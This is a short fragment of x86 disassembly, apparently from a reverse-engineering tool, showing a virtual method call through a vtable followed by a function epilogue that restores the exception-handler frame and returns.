mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xd4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xcc
ret 4
call fcn.00402300
int3